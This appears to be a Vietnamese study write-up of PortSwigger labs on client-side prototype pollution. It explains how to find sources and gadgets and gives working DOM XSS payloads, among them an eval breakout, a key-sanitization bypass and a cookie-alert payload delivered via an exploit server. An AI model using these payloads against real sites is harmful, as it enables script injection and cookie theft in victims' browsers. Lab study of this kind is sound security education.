Finding Client-side Prototype Pollution Sources Manually

Việc tìm kiếm các nguồn prototype pollution theo cách thủ công phần lớn là một quá trình thử và sai.

Khi kiểm thử các lỗ hổng phía client, quá trình này bao gồm các bước cấp cao sau:

  1. Thử chèn một thuộc tính tùy ý thông qua query string, URL fragment và bất kỳ input JSON nào. Ví dụ: vulnerable-website.com/?__proto__[foo]=bar.
  2. Trong console của trình duyệt, kiểm tra Object.prototype để xem chúng ta đã thành công trong việc làm ô nhiễm nó với thuộc tính tùy ý của mình hay chưa.
  3. Nếu thuộc tính không được thêm vào prototype, hãy thử sử dụng các kỹ thuật khác, chẳng hạn như chuyển sang ký hiệu dấu chấm thay vì ký hiệu ngoặc vuông hoặc ngược lại: vulnerable-website.com/?__proto__.foo=bar.

Finding Client-side Prototype Pollution Sources Using DOM Invader

DOM Invader có thể tự động kiểm tra các nguồn prototype pollution khi chúng ta duyệt web, điều này có thể tiết kiệm đáng kể thời gian và công sức.

Finding Client-side Prototype Pollution Gadgets Manually

Khi chúng ta đã xác định được một nguồn cho phép thêm các thuộc tính tùy ý vào Object.prototype toàn cục,

  1. Thêm một câu lệnh debugger vào đầu script phía client.

  2. Trong khi script vẫn đang tạm dừng, hãy chuyển sang console và nhập lệnh sau, thay thế YOUR-PROPERTY bằng một trong các thuộc tính mà chúng ta cho là một gadget tiềm năng:

    Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
        get() {
            console.trace();
            return 'polluted';
        }
    })
  3. Nếu một stack trace xuất hiện, điều này xác nhận rằng thuộc tính đã được truy cập ở đâu đó trong ứng dụng.

  4. Mở rộng stack trace và sử dụng liên kết được cung cấp để chuyển đến dòng mã nơi thuộc tính đang được đọc.

  5. Sử dụng các điều khiển của trình gỡ lỗi của trình duyệt, đi qua từng giai đoạn thực thi để xem liệu thuộc tính có được truyền đến một sink, chẳng hạn như innerHTML hoặc eval().

Finding Client-side Prototype Pollution Gadgets Using DOM Invader

Do các trang web thường dựa vào một số thư viện của bên thứ ba, việc xác định các gadget prototype pollution theo cách thủ công có thể liên quan đến việc đọc qua hàng nghìn dòng mã được thu nhỏ hoặc làm rối, điều này làm cho mọi thứ trở nên phức tạp hơn.

DOM Invader có thể tự động quét các gadget thay cho chúng ta và thậm chí có thể tạo ra một proof-of-concept DOM XSS trong một số trường hợp.

Lab: DOM XSS via Client-side Prototype Pollution

Bật DOM Invader, thử tìm kiếm một cái gì đó và tìm thấy một số nguồn trong tham số search của endpoint /.

Một trong số đó là:

/?search=hello&__proto__[testproperty]=DOM_INVADER_PP_POC

Chúng ta cũng có thể sử dụng payload ô nhiễm mà không cần tham số search:

/?__proto__[testproperty]=DOM_INVADER_PP_POC

Có 2 tệp script phía client: searchLogger.jsdeparam.js.

// searchLogger.js
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}
 
async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
 
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
 
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}
 
window.addEventListener("load", searchLogger);

Các tham số truy vấn (new URL(location).searchParams.toString()) sẽ được truyền vào hàm deparam() đến từ tệp deparam.js.

Đoạn mã sau trong deparam.js chịu trách nhiệm làm ô nhiễm Object.prototype:

if ( keys_last ) {
	for ( ; i <= keys_last; i++ ) {
		key = keys[i] === '' ? cur.length : keys[i];
		cur = cur[key] = i < keys_last
			? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
			: val;
	}

Trong đó:

  • keys_last: 1
  • i: 0
  • keys: ["__proto__", "testproperty"]
  • cur: {}
  • val: "DOM_INVADER_PP_POC"

Vòng lặp đầu tiên:

  • key = "__proto__"
  • cur["__proto__"] = {}
  • cur = cur[__proto__]. Tại bước này, cur trỏ đến prototype của nó, đó là prototype toàn cục (Object.prototype).

Vòng lặp thứ hai:

  • key = "testproperty"
  • cur["testproperty"] = "DOM_INVADER_PP_POC". Điều này sẽ làm ô nhiễm Object.prototype với thuộc tính testproperty.
  • cur = "DOM_INVADER_PP_POC"

Nhấn nút “Scan for gadgets” và tìm thấy một sink. Stack trace của nó:

    at _0x56d282 (<anonymous>:2:743834)
    at Object.EAULH (<anonymous>:2:382702)
    at HTMLScriptElement.set [as src] (<anonymous>:2:383828)
    at searchLogger (https://0a1c00630488f36280c2121e004100e7.web-security-academy.net/resources/js/searchLogger.js:14:20)

Lệnh gọi stack cuối cùng sẽ là đoạn mã này trong hàm searchLogger() của tệp searchLogger.js:

let config = {params: deparam(new URL(location).searchParams.toString())};
 
if(config.transport_url) {
	let script = document.createElement('script');
	script.src = config.transport_url;
	document.body.appendChild(script);
}

Rõ ràng, config sẽ không có thuộc tính transport_url và thuộc tính này sẽ được sử dụng làm src cho thẻ <script>.

Tóm lại:

  • Source: tham số search
  • Gadget: thuộc tính transport_url
  • Sink: thẻ <script>

Payload cuối cùng:

/?search=hello&__proto__[transport_url]=data:,alert('xss');

Trong đó data:,alert('xss') là một cú pháp để viết và thực thi JavaScript trong thanh URL, có thể được sử dụng như một URL.

Lab: DOM XSS via an Alternative Prototype Pollution Vector

Nguồn của lab này giống với lab trước, đó là tham số search.

Payload hơi khác một chút (sử dụng . thay vì []):

/?search=hello&__proto__.testproperty=DOM_INVADER_PP_POC

Nhấn nút “Scan for gadgets” và tìm thấy một sink. Stack trace của nó:

    at _0x56d282 (<anonymous>:2:743834)
    at Object.NRkhM (<anonymous>:2:104467)
    at Object.JRrUi (<anonymous>:2:349123)
    at _0x6b6954.<computed> (<anonymous>:2:374901)
    at searchLogger (https://0a2900c80477688390c95d5000e7004f.web-security-academy.net/resources/js/searchLoggerAlternative.js:18:5)

Mã nguồn trong searchLoggerAlternative.js:

async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}
 
async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;
 
    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
 
    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}
 
window.addEventListener("load", searchLogger);

Sự ô nhiễm xảy ra trong phương thức $.parseParams(). Cụ thể, nó đến từ một tệp nguồn có tên là jquery_parseparams.js.

Trong hàm parseParams(), có một vòng lặp để phân tích các cặp key-value từ query string:

var params = {}, e;
if (query) {
	// ...
	while (e = re.exec(query)) {
		var key = decode(e[1]);
		var value = decode(e[2]);
		createElement(params, key, value);
	}
	// ...
}
return params;

Vòng lặp đầu tiên:

  • params: {}
  • key: "search"
  • value: "hello"

Vòng lặp thứ hai:

  • params: {"search": "hello"}
  • key: "__proto__.testproperty"
  • value: "DOM_INVADER_PP_POC"

Hàm createElement():

// Simple variable:  ?var=abc                        returns {var: "abc"}
// Simple object:    ?var.length=2&var.scope=123     returns {var: {length: "2", scope: "123"}}
function createElement(params, key, value) {
	key = key + '';
	// if the key is a property
	if (key.indexOf('.') !== -1) {
		// extract the first part with the name of the object
		var list = key.split('.');
		// the rest of the key
		var new_key = key.split(/\.(.+)?/)[1];
		// create the object if it doesnt exist
		if (!params[list[0]]) params[list[0]] = {};
		// if the key is not empty, create it in the object
		if (new_key !== '') {
			createElement(params[list[0]], new_key, value);
		} else console.warn('parseParams :: empty property in key "' + key + '"');
	} else
		// if the key is an array
	if (key.indexOf('[') !== -1) {
		// ...
	} else
		// just normal key
	{
		if (!params) params = {};
		params[key] = value;
	}

Như chúng ta đã biết, ở vòng lặp thứ hai, key có . bên trong nó nên câu lệnh if đầu tiên được thực hiện:

  • list: ["__proto__", "testproperty"]
  • new_key: "testproperty"

Sau đó, điều kiện if sau sẽ gọi hàm createElement() một cách đệ quy:

if (new_key !== '') {
	createElement(params[list[0]], new_key, value);
}

Các đối số của nó:

  • params[list[0]]: Object.prototype => params
  • new_key: "testproperty" => key
  • value: "DOM_INVADER_PP_POC" => value

Sau đó, khi được gọi, hàm createElement() sẽ thêm một thuộc tính có tên là "testproperty" với giá trị là "DOM_INVADER_PP_POC" vào Object.prototype thông qua câu lệnh else cuối cùng:

else
	// just normal key
{
	if (!params) params = {};
	params[key] = value;
}

Trong đoạn mã trên:

  • params: Object.prototype
  • key: "testproperty"
  • value: "DOM_INVADER_PP_POC"

Đây là lúc Object.prototype bị ô nhiễm.

Tiếp theo, chúng ta tập trung vào đoạn mã này trong tệp searchLoggerAlternative.js:

 let a = manager.sequence || 1;
manager.sequence = a + 1;
 
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

Chúng ta có thể làm ô nhiễm thuộc tính sequence vì nó sẽ được truyền vào eval().

Tóm lại:

  • Source: tham số search
  • Gadget: sequence
  • Sink: eval()

Payload

/?search=hello&__proto__.sequence=)};alert('xss');//

Giải thích:

  • )} được sử dụng để đóng hàm macro() cũng như khối mã.
  • ; được sử dụng để phân tách các câu lệnh.
  • alert('xss'); là mã chúng ta muốn thực thi.
  • // được sử dụng để chú thích phần còn lại của mã trong ngữ cảnh.

Prototype Pollution via the Constructor

Một cách phòng thủ phổ biến là loại bỏ bất kỳ thuộc tính nào có khóa __proto__ khỏi các đối tượng do người dùng kiểm soát trước khi hợp nhất chúng. Cách tiếp cận này có thiếu sót vì có những cách khác để tham chiếu đến Object.prototype mà không cần dựa vào chuỗi __proto__ chút nào.

Trừ khi prototype của nó được đặt thành null, mọi đối tượng JavaScript đều có một thuộc tính constructor, chứa một tham chiếu đến hàm tạo đã được sử dụng để tạo ra nó.

Hãy nhớ rằng các hàm cũng chỉ là các đối tượng. Mỗi hàm tạo có một thuộc tính prototype, trỏ đến prototype sẽ được gán cho bất kỳ đối tượng nào được tạo bởi hàm tạo này.

myObject.constructor.prototype        // Object.prototype
myString.constructor.prototype        // String.prototype
myArray.constructor.prototype         // Array.prototype

myObject.constructor.prototype tương đương với myObject.__proto__, điều này cung cấp một vector thay thế cho prototype pollution.

Bypassing Flawed Key Sanitization

Một trong những cách rõ ràng mà các trang web cố gắng ngăn chặn prototype pollution là làm sạch các khóa thuộc tính trước khi hợp nhất chúng vào một đối tượng hiện có.

Lab: Client-side Prototype Pollution via Flawed Sanitization

Lab này có gadget và sink tương tự như Lab DOM XSS via Client-side Prototype Pollution, đó là transport_urlscript.src.

Nhưng có một hàm sanitizeKey(key) trong tệp searchLoggerFiltered.js:

async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}
 
async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}
 
function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}
 
window.addEventListener("load", searchLogger);

replaceAll không thay thế một cách đệ quy nên chúng ta có thể làm rối như sau:

/?search=hello&__pro__proto__to__.testproperty=DOM_INVADER_PP_POC

Payload sau khi làm sạch sẽ là:

/?search=hello&__proto__.testproperty=DOM_INVADER_PP_POC

Có một vấn đề khác đến từ hàm deparam(): sự ô nhiễm chỉ xảy ra khi chúng ta sử dụng ký hiệu [] thay vì ..

Điều này là do khối mã gây ra prototype pollution chỉ được thực thi nếu điều kiện if của nó được thỏa mãn:

if ( keys_last ) {
	for ( ; i <= keys_last; i++ ) {
		key = keys[i] === '' ? cur.length : keys[i];
		cur = cur[sanitizeKey(key)] = i < keys_last
			? cur[sanitizeKey(key)] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
			: val;
	}
}

Để làm cho keys_last trở thành truthy, chúng ta cần thỏa mãn khối mã này:

keys = key.split( '][' ),
keys_last = keys.length - 1;
 
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
	keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
 
	keys = keys.shift().split('[').concat( keys );
 
	keys_last = keys.length - 1;
}

Điều này ngụ ý rằng thuộc tính chúng ta sử dụng cần phải là ngoặc vuông.

Payload đã sửa đổi:

/?search=hello&__pro__proto__to__[transport_url]=data:,alert('xss');

Prototype Pollution in External Libraries

Trong trường hợp này, chúng tôi thực sự khuyên bạn nên sử dụng các tính năng prototype pollution của DOM Invader để xác định các nguồn và gadget. Điều này không chỉ nhanh hơn nhiều mà còn đảm bảo chúng ta sẽ không bỏ lỡ các lỗ hổng mà nếu không sẽ cực kỳ khó nhận thấy.

Lab: Client-side Prototype Pollution in Third-party Libraries

Lab này yêu cầu thực thi alert(document.cookie) trong trình duyệt.

Sử dụng DOM Invader và tìm một nguồn đến từ fragment:

/#cat=13371&__proto__[testproperty]=DOM_INVADER_PP_POC

Cũng tìm thấy một gadget có tên là hitCallback và một sink có tên là setTimeout thông qua nút “Scan for gadgets”.

Payload cuối cùng:

/#cat=13371&__proto__[hitCallback]=alert(document.cookie)

Gửi đến nạn nhân thông qua exploit server:

<script>
	location="https://0adf00500362c0cd87a7adaf0085006b.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
list
from outgoing([[Port Swigger - Client-side Prototype Pollution Vulnerabilities]])
sort file.ctime asc

Resources